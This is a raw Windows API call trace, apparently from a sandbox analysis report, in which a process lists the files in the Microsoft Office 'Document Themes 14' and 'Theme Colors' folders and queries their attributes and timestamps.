	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x262ddb00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5bca8c0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x262ddb00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x1540b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.thmx", cAlternateFileName="ORIGIN~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29c16200, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x29c16200, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x421e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.thmx", cAlternateFileName="PAPER~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x51182f00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c16b80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x51182f00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xd15a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.thmx", cAlternateFileName="PERSPE~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54abb600, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c3cce0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x54abb600, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xc97ce, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.thmx", cAlternateFileName="PUSHPI~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81f86400, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x81f86400, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x106e8, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.thmx", cAlternateFileName="SLIPST~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2c23bc00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c62e40, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2c23bc00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x124a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.thmx", cAlternateFileName="SOLSTI~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2fb74300, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x2fb74300, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x10d83, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.thmx", cAlternateFileName="TECHNI~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x59706a00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x59706a00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x15d75, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.thmx", cAlternateFileName="THATCH~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Colors", cAlternateFileName="THEMEC~1")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5127f1f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xe5caf100, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Effects", cAlternateFileName="THEMEE~1")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x528a9ed0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6187c750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Theme Fonts", cAlternateFileName="THEMEF~1")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="TREK~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="URBAN~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="VERVE~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="WAVEFO~1.THM")) returned 1
	[0051.776] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d399c | out: lpFindFileData=0x127d399c*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0
	[0051.776] FindClose (in: hFindFile=0x7eb938 | out: hFindFile=0x7eb938) returned 1
	[0051.804] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), fInfoLevelId=0x0, lpFileInformation=0x12654b98 | out: lpFileInformation=0x12654b98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1
	[0051.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff
	[0051.805] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\*", lpFindFileData=0x127d3918 | out: lpFindFileData=0x127d3918*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7eb938
	[0051.806] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51c9cf70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x603f4990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x603f4990, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xccc5300, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xccc5300, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adjacency.xml", cAlternateFileName="ADJACE~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdfd8000, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdfd8000, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Angles.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb6b6700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb6b6700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apex.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe09100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603a86d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe09100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Apothecary.xml", cAlternateFileName="APOTHE~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xec9c9400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xec9c9400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Aspect.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x211be00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x211be00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Austin.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2ead00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2ead00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Black Tie.xml", cAlternateFileName="BLACKT~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeefeee00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeefeee00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Concourse.xml", cAlternateFileName="CONCOU~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12c23400, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x12c23400, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x99314000, ftCreationTime.dwHighDateTime=0x1c6ba8b, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99314000, ftLastWriteTime.dwHighDateTime=0x1c6ba8b, nFileSizeHigh=0x0, nFileSizeLow=0x3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grayscale.xml", cAlternateFileName="GRAYSC~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3bf, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="HARDCO~1.XML")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1
	[0051.807] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="NEWSPR~1.XML")) returned 1
	[0051.808] FindNextFileW (in: hFindFile=0x7eb938, lpFindFileData=0x127d3938 | out: lpFindFileData=0x127d3938*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1
